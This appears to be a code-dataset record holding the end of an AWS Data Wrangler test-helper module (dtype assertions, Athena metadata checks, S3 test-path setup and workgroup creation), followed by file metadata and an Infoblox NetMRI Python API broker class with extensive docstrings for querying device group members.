"string" assert str(df["date"].dtype) == "object" assert str(df["timestamp"].dtype) == "datetime64[ns]" assert str(df["bool"].dtype) in ("boolean", "Int64", "object") if "binary" in df.columns: assert str(df["binary"].dtype) == "object" assert str(df["category"].dtype) == "float64" if has_list is True: assert str(df["list"].dtype) == "object" assert str(df["list_list"].dtype) == "object" if "__index_level_0__" in df.columns: assert str(df["__index_level_0__"].dtype) == "Int64" assert str(df["par0"].dtype) in ("Int64", "category") assert str(df["par1"].dtype) in ("string", "category") row = df[df["iint16"] == 1] if not row.empty: row = row.iloc[0] assert str(type(row["decimal"]).__name__) == "Decimal" assert str(type(row["date"]).__name__) == "date" if "binary" in df.columns: assert str(type(row["binary"]).__name__) == "bytes" if has_list is True: assert str(type(row["list"][0]).__name__) == "int64" assert str(type(row["list_list"][0][0]).__name__) == "int64" def ensure_data_types_category(df): assert len(df.columns) in (7, 8) assert str(df["id"].dtype) in ("category", "Int64") assert str(df["string_object"].dtype) == "category" assert str(df["string"].dtype) == "category" if "binary" in df.columns: assert str(df["binary"].dtype) == "category" assert str(df["float"].dtype) == "category" assert str(df["int"].dtype) in ("category", "Int64") assert str(df["par0"].dtype) in ("category", "Int64") assert str(df["par1"].dtype) == "category" def ensure_data_types_csv(df, governed=False): if "__index_level_0__" in df: assert str(df["__index_level_0__"].dtype).startswith("Int") assert str(df["id"].dtype).startswith("Int") if "string_object" in df: assert str(df["string_object"].dtype) == "string" if "string" in df: assert str(df["string"].dtype) == "string" if "float" in df: assert str(df["float"].dtype).startswith("float") if "int" in df: assert str(df["int"].dtype).startswith("Int") if governed: assert str(df["date"].dtype).startswith("datetime") else: assert str(df["date"].dtype) == "object" assert str(df["timestamp"].dtype).startswith("datetime") if "bool" in df: assert str(df["bool"].dtype) == "boolean" if "par0" in df: assert str(df["par0"].dtype).startswith("Int") if "par1" in df: assert str(df["par1"].dtype) == "string" def ensure_athena_query_metadata(df, ctas_approach=True, encrypted=False): assert df.query_metadata is not None assert isinstance(df.query_metadata, dict) assert df.query_metadata["QueryExecutionId"] is not None assert df.query_metadata["Query"] is not None assert df.query_metadata["StatementType"] is not None if encrypted: assert df.query_metadata["ResultConfiguration"]["EncryptionConfiguration"] assert df.query_metadata["QueryExecutionContext"] is not None assert df.query_metadata["Status"]["SubmissionDateTime"] is not None assert df.query_metadata["Status"]["CompletionDateTime"] is not None assert df.query_metadata["Statistics"] is not None assert df.query_metadata["WorkGroup"] is not None assert df.query_metadata["ResultConfiguration"]["OutputLocation"] is not None if ctas_approach: assert df.query_metadata["Statistics"]["DataManifestLocation"] is not None def get_time_str_with_random_suffix() -> str: time_str = datetime.utcnow().strftime("%Y%m%d%H%M%S%f") return f"{time_str}_{random.randrange(16**6):06x}" def path_generator(bucket: str) -> Iterator[str]: s3_path = f"s3://{bucket}/{get_time_str_with_random_suffix()}/" print(f"S3 Path: {s3_path}") objs = wr.s3.list_objects(s3_path) wr.s3.delete_objects(path=objs) yield s3_path objs = wr.s3.list_objects(s3_path) wr.s3.delete_objects(path=objs) def extract_cloudformation_outputs(): outputs = {} client = boto3.client("cloudformation") response = try_it(client.describe_stacks, botocore.exceptions.ClientError, max_num_tries=5) for stack in response.get("Stacks"): if (stack["StackName"] in ["aws-data-wrangler-base", "aws-data-wrangler-databases"]) and ( stack["StackStatus"] in CFN_VALID_STATUS ): for output in stack.get("Outputs"): outputs[output.get("OutputKey")] = output.get("OutputValue") return outputs def list_workgroups(): client = boto3.client("athena") attempt = 1 while True: try: return client.list_work_groups() except botocore.exceptions.ClientError as ex: if ex.response["Error"]["Code"] != "ThrottlingException": raise ex if attempt > 5: raise ex time.sleep(attempt + random.randrange(start=0, stop=3, step=1)) def validate_workgroup_key(workgroup): if "ResultConfiguration" in workgroup["Configuration"]: if "EncryptionConfiguration" in workgroup["Configuration"]["ResultConfiguration"]: if "KmsKey" in workgroup["Configuration"]["ResultConfiguration"]["EncryptionConfiguration"]: kms_client = boto3.client("kms") key = try_it( kms_client.describe_key, kms_client.exceptions.NotFoundException, KeyId=workgroup["Configuration"]["ResultConfiguration"]["EncryptionConfiguration"]["KmsKey"], )["KeyMetadata"] if key["KeyState"] != "Enabled": return False return True def create_workgroup(wkg_name, config): client = boto3.client("athena") wkgs = list_workgroups() wkgs = [x["Name"] for x in wkgs["WorkGroups"]] deleted = False if wkg_name in wkgs: wkg = try_it(client.get_work_group, botocore.exceptions.ClientError, max_num_tries=5, WorkGroup=wkg_name)[ "WorkGroup" ] if validate_workgroup_key(workgroup=wkg) is False: client.delete_work_group(WorkGroup=wkg_name, RecursiveDeleteOption=True) deleted = True if wkg_name not in wkgs or deleted is True: client.create_work_group( Name=wkg_name, Configuration=config, Description=f"AWS Data Wrangler Test - {wkg_name}", ) return wkg_name

55.618729

114

0.505592

4,065

33,260

4.093481

0.056089

1.089904

1.634135

2.177885

0.801382

0.771755

0.749399

0.711118

0.702704

0

0.024273

0.206013

33,260

597

115

55.711893

0.605839

0.003969

0

0.630631

0

0.340541

0.65769

0.008333

0

0.104505

1

0.032432

false

0

0.018018

0.001802

0.075676

0.001802

0

null

1

0

1

0

null

0

11

bca32c52e9ddf6c661e9dc84e222b4be5d2bd44a

41,061

py

Python

infoblox_netmri/api/broker/v3_8_0/device_group_member_broker.py

infobloxopen/infoblox_netmri

aa1c744df7e439dbe163bb9edd165e4e85a9771b

[ "Apache-2.0" ]

12

2016-02-19T12:37:54.000Z

2022-03-04T20:11:08.000Z

infoblox_netmri/api/broker/v3_8_0/device_group_member_broker.py

infobloxopen/infoblox_netmri

aa1c744df7e439dbe163bb9edd165e4e85a9771b

[ "Apache-2.0" ]

18

2015-11-12T18:37:00.000Z

2021-05-19T07:59:55.000Z

infoblox_netmri/api/broker/v3_8_0/device_group_member_broker.py

infobloxopen/infoblox_netmri

aa1c744df7e439dbe163bb9edd165e4e85a9771b

[ "Apache-2.0" ]

18

2016-01-07T12:04:34.000Z

2022-03-31T11:05:41.000Z

from ..broker import Broker class DeviceGroupMemberBroker(Broker): controller = "device_group_members" def show(self, **kwargs): """Shows the details for the specified device group member. **Inputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` True | ``default:`` None :param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record. :type DeviceGroupMemberID: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param methods: A list of device group member methods. The listed methods will be called on each device group member returned and included in the output. Available methods are: device, infradevice. :type methods: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: device. :type include: Array of String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return device_group_member: The device group member identified by the specified DeviceGroupMemberID. :rtype device_group_member: DeviceGroupMember """ return self.api_request(self._get_method_fullname("show"), kwargs) def index(self, **kwargs): """Lists the available device group members. Any of the inputs listed may be be used to narrow the list; other inputs will be ignored. Of the various ways to query lists, using this method is most efficient. **Inputs** | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record. :type DeviceGroupMemberID: Integer | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record. :type DeviceGroupMemberID: Array of Integer | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param DeviceID: The internal NetMRI identifier for the device associated with this membership record. :type DeviceID: Integer | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceID: The internal NetMRI identifier for the device associated with this membership record. :type DeviceID: Array of Integer | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param GroupID: The internal NetMRI identifier for the group associated with this membership record. :type GroupID: Integer | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param GroupID: The internal NetMRI identifier for the group associated with this membership record. :type GroupID: Array of Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceGroupID: The internal NetMRI identifier of the device groups to which to limit the results. :type DeviceGroupID: Array of Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param timestamp: The data returned will represent the device group members as of this date and time. If omitted, the result will indicate the most recently collected data. :type timestamp: DateTime | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param methods: A list of device group member methods. The listed methods will be called on each device group member returned and included in the output. Available methods are: device, infradevice. :type methods: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: device. :type include: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 0 :param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information. :type start: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 1000 :param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000. :type limit: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` DeviceGroupMemberID :param sort: The data field(s) to use for sorting the output. Default is DeviceGroupMemberID. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID. :type sort: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` asc :param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'. :type dir: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param select: The list of attributes to return for each DeviceGroupMember. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID. If empty or omitted, all attributes will be returned. :type select: Array | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_field: The field name for NIOS GOTO that is used for locating a row position of records. :type goto_field: String | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records. :type goto_value: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return device_group_members: An array of the DeviceGroupMember objects that match the specified input criteria. :rtype device_group_members: Array of DeviceGroupMember """ return self.api_list_request(self._get_method_fullname("index"), kwargs) def search(self, **kwargs): """Lists the available device group members matching the input criteria. This method provides a more flexible search interface than the index method, but searching using this method is more demanding on the system and will not perform to the same level as the index method. The input fields listed below will be used as in the index method, to filter the result, along with the optional query string and XML filter described below. **Inputs** | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param DataSourceID: The internal NetMRI identifier for the collector NetMRI that collected this data record. :type DataSourceID: Integer | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param DataSourceID: The internal NetMRI identifier for the collector NetMRI that collected this data record. :type DataSourceID: Array of Integer | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param DeviceGroupMemberChangedCols: The fields that changed between this revision of the record and the previous revision. :type DeviceGroupMemberChangedCols: String | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceGroupMemberChangedCols: The fields that changed between this revision of the record and the previous revision. :type DeviceGroupMemberChangedCols: Array of String | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param DeviceGroupMemberEndTime: The ending effective time of this record, or empty if still in effect. :type DeviceGroupMemberEndTime: DateTime | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceGroupMemberEndTime: The ending effective time of this record, or empty if still in effect. :type DeviceGroupMemberEndTime: Array of DateTime | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record. :type DeviceGroupMemberID: Integer | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record. :type DeviceGroupMemberID: Array of Integer | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param DeviceGroupMemberStartTime: The starting effective time of this record. :type DeviceGroupMemberStartTime: DateTime | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceGroupMemberStartTime: The starting effective time of this record. :type DeviceGroupMemberStartTime: Array of DateTime | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param DeviceGroupMemberTimestamp: The date and time this record was collected or calculated. :type DeviceGroupMemberTimestamp: DateTime | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceGroupMemberTimestamp: The date and time this record was collected or calculated. :type DeviceGroupMemberTimestamp: Array of DateTime | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param DeviceID: The internal NetMRI identifier for the device associated with this membership record. :type DeviceID: Integer | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceID: The internal NetMRI identifier for the device associated with this membership record. :type DeviceID: Array of Integer | ``api version min:`` 2.3 | ``api version max:`` 2.4 | ``required:`` False | ``default:`` None :param GroupID: The internal NetMRI identifier for the group associated with this membership record. :type GroupID: Integer | ``api version min:`` 2.5 | ``api version max:`` None | ``required:`` False | ``default:`` None :param GroupID: The internal NetMRI identifier for the group associated with this membership record. :type GroupID: Array of Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceGroupID: The internal NetMRI identifier of the device groups to which to limit the results. :type DeviceGroupID: Array of Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param timestamp: The data returned will represent the device group members as of this date and time. If omitted, the result will indicate the most recently collected data. :type timestamp: DateTime | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param methods: A list of device group member methods. The listed methods will be called on each device group member returned and included in the output. Available methods are: device, infradevice. :type methods: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: device. :type include: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 0 :param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information. :type start: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 1000 :param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000. :type limit: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` DeviceGroupMemberID :param sort: The data field(s) to use for sorting the output. Default is DeviceGroupMemberID. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID. :type sort: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` asc :param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'. :type dir: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param select: The list of attributes to return for each DeviceGroupMember. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID. If empty or omitted, all attributes will be returned. :type select: Array | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_field: The field name for NIOS GOTO that is used for locating a row position of records. :type goto_field: String | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records. :type goto_value: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param query: This value will be matched against device group members, looking to see if one or more of the listed attributes contain the passed value. You may also surround the value with '/' and '/' to perform a regular expression search rather than a containment operation. Any record that matches will be returned. The attributes searched are: DataSourceID, DeviceGroupMemberChangedCols, DeviceGroupMemberEndTime, DeviceGroupMemberID, DeviceGroupMemberStartTime, DeviceGroupMemberTimestamp, DeviceID, GroupID. :type query: String | ``api version min:`` 2.3 | ``api version max:`` None | ``required:`` False | ``default:`` None :param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering. :type xml_filter: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return device_group_members: An array of the DeviceGroupMember objects that match the specified input criteria. :rtype device_group_members: Array of DeviceGroupMember """ return self.api_list_request(self._get_method_fullname("search"), kwargs) def find(self, **kwargs): """Lists the available device group members matching the input specification. This provides the most flexible search specification of all the query mechanisms, enabling searching using comparison operations other than equality. However, it is more complex to use and will not perform as efficiently as the index or search methods. In the input descriptions below, 'field names' refers to the following fields: DataSourceID, DeviceGroupMemberChangedCols, DeviceGroupMemberEndTime, DeviceGroupMemberID, DeviceGroupMemberStartTime, DeviceGroupMemberTimestamp, DeviceID, GroupID. **Inputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_DataSourceID: The operator to apply to the field DataSourceID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DataSourceID: The internal NetMRI identifier for the collector NetMRI that collected this data record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_DataSourceID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_DataSourceID: If op_DataSourceID is specified, the field named in this input will be compared to the value in DataSourceID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DataSourceID must be specified if op_DataSourceID is specified. :type val_f_DataSourceID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_DataSourceID: If op_DataSourceID is specified, this value will be compared to the value in DataSourceID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DataSourceID must be specified if op_DataSourceID is specified. :type val_c_DataSourceID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_DeviceGroupMemberChangedCols: The operator to apply to the field DeviceGroupMemberChangedCols. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberChangedCols: The fields that changed between this revision of the record and the previous revision. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_DeviceGroupMemberChangedCols: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_DeviceGroupMemberChangedCols: If op_DeviceGroupMemberChangedCols is specified, the field named in this input will be compared to the value in DeviceGroupMemberChangedCols using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberChangedCols must be specified if op_DeviceGroupMemberChangedCols is specified. :type val_f_DeviceGroupMemberChangedCols: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_DeviceGroupMemberChangedCols: If op_DeviceGroupMemberChangedCols is specified, this value will be compared to the value in DeviceGroupMemberChangedCols using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberChangedCols must be specified if op_DeviceGroupMemberChangedCols is specified. :type val_c_DeviceGroupMemberChangedCols: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_DeviceGroupMemberEndTime: The operator to apply to the field DeviceGroupMemberEndTime. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberEndTime: The ending effective time of this record, or empty if still in effect. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_DeviceGroupMemberEndTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_DeviceGroupMemberEndTime: If op_DeviceGroupMemberEndTime is specified, the field named in this input will be compared to the value in DeviceGroupMemberEndTime using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberEndTime must be specified if op_DeviceGroupMemberEndTime is specified. :type val_f_DeviceGroupMemberEndTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_DeviceGroupMemberEndTime: If op_DeviceGroupMemberEndTime is specified, this value will be compared to the value in DeviceGroupMemberEndTime using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberEndTime must be specified if op_DeviceGroupMemberEndTime is specified. :type val_c_DeviceGroupMemberEndTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_DeviceGroupMemberID: The operator to apply to the field DeviceGroupMemberID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_DeviceGroupMemberID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_DeviceGroupMemberID: If op_DeviceGroupMemberID is specified, the field named in this input will be compared to the value in DeviceGroupMemberID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberID must be specified if op_DeviceGroupMemberID is specified. :type val_f_DeviceGroupMemberID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_DeviceGroupMemberID: If op_DeviceGroupMemberID is specified, this value will be compared to the value in DeviceGroupMemberID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberID must be specified if op_DeviceGroupMemberID is specified. :type val_c_DeviceGroupMemberID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_DeviceGroupMemberStartTime: The operator to apply to the field DeviceGroupMemberStartTime. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberStartTime: The starting effective time of this record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_DeviceGroupMemberStartTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_DeviceGroupMemberStartTime: If op_DeviceGroupMemberStartTime is specified, the field named in this input will be compared to the value in DeviceGroupMemberStartTime using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberStartTime must be specified if op_DeviceGroupMemberStartTime is specified. :type val_f_DeviceGroupMemberStartTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_DeviceGroupMemberStartTime: If op_DeviceGroupMemberStartTime is specified, this value will be compared to the value in DeviceGroupMemberStartTime using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberStartTime must be specified if op_DeviceGroupMemberStartTime is specified. :type val_c_DeviceGroupMemberStartTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_DeviceGroupMemberTimestamp: The operator to apply to the field DeviceGroupMemberTimestamp. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceGroupMemberTimestamp: The date and time this record was collected or calculated. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_DeviceGroupMemberTimestamp: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_DeviceGroupMemberTimestamp: If op_DeviceGroupMemberTimestamp is specified, the field named in this input will be compared to the value in DeviceGroupMemberTimestamp using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceGroupMemberTimestamp must be specified if op_DeviceGroupMemberTimestamp is specified. :type val_f_DeviceGroupMemberTimestamp: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_DeviceGroupMemberTimestamp: If op_DeviceGroupMemberTimestamp is specified, this value will be compared to the value in DeviceGroupMemberTimestamp using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceGroupMemberTimestamp must be specified if op_DeviceGroupMemberTimestamp is specified. :type val_c_DeviceGroupMemberTimestamp: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_DeviceID: The operator to apply to the field DeviceID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. DeviceID: The internal NetMRI identifier for the device associated with this membership record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_DeviceID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_DeviceID: If op_DeviceID is specified, the field named in this input will be compared to the value in DeviceID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_DeviceID must be specified if op_DeviceID is specified. :type val_f_DeviceID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_DeviceID: If op_DeviceID is specified, this value will be compared to the value in DeviceID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_DeviceID must be specified if op_DeviceID is specified. :type val_c_DeviceID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_GroupID: The operator to apply to the field GroupID. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. GroupID: The internal NetMRI identifier for the group associated with this membership record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_GroupID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_GroupID: If op_GroupID is specified, the field named in this input will be compared to the value in GroupID using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_GroupID must be specified if op_GroupID is specified. :type val_f_GroupID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_GroupID: If op_GroupID is specified, this value will be compared to the value in GroupID using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_GroupID must be specified if op_GroupID is specified. :type val_c_GroupID: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param DeviceGroupID: The internal NetMRI identifier of the device groups to which to limit the results. :type DeviceGroupID: Array of Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param timestamp: The data returned will represent the device group members as of this date and time. If omitted, the result will indicate the most recently collected data. :type timestamp: DateTime | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param methods: A list of device group member methods. The listed methods will be called on each device group member returned and included in the output. Available methods are: device, infradevice. :type methods: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: device. :type include: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 0 :param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information. :type start: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 1000 :param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000. :type limit: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` DeviceGroupMemberID :param sort: The data field(s) to use for sorting the output. Default is DeviceGroupMemberID. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID. :type sort: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` asc :param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'. :type dir: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param select: The list of attributes to return for each DeviceGroupMember. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID. If empty or omitted, all attributes will be returned. :type select: Array | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_field: The field name for NIOS GOTO that is used for locating a row position of records. :type goto_field: String | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records. :type goto_value: String | ``api version min:`` 2.3 | ``api version max:`` None | ``required:`` False | ``default:`` None :param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering. :type xml_filter: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return device_group_members: An array of the DeviceGroupMember objects that match the specified input criteria. :rtype device_group_members: Array of DeviceGroupMember """ return self.api_list_request(self._get_method_fullname("find"), kwargs)

53.885827

583

0.621563

4,767

41,061

5.311936

0.058527

0.070295

0.045691

0.052366

0.935471

0.933497

0.906998

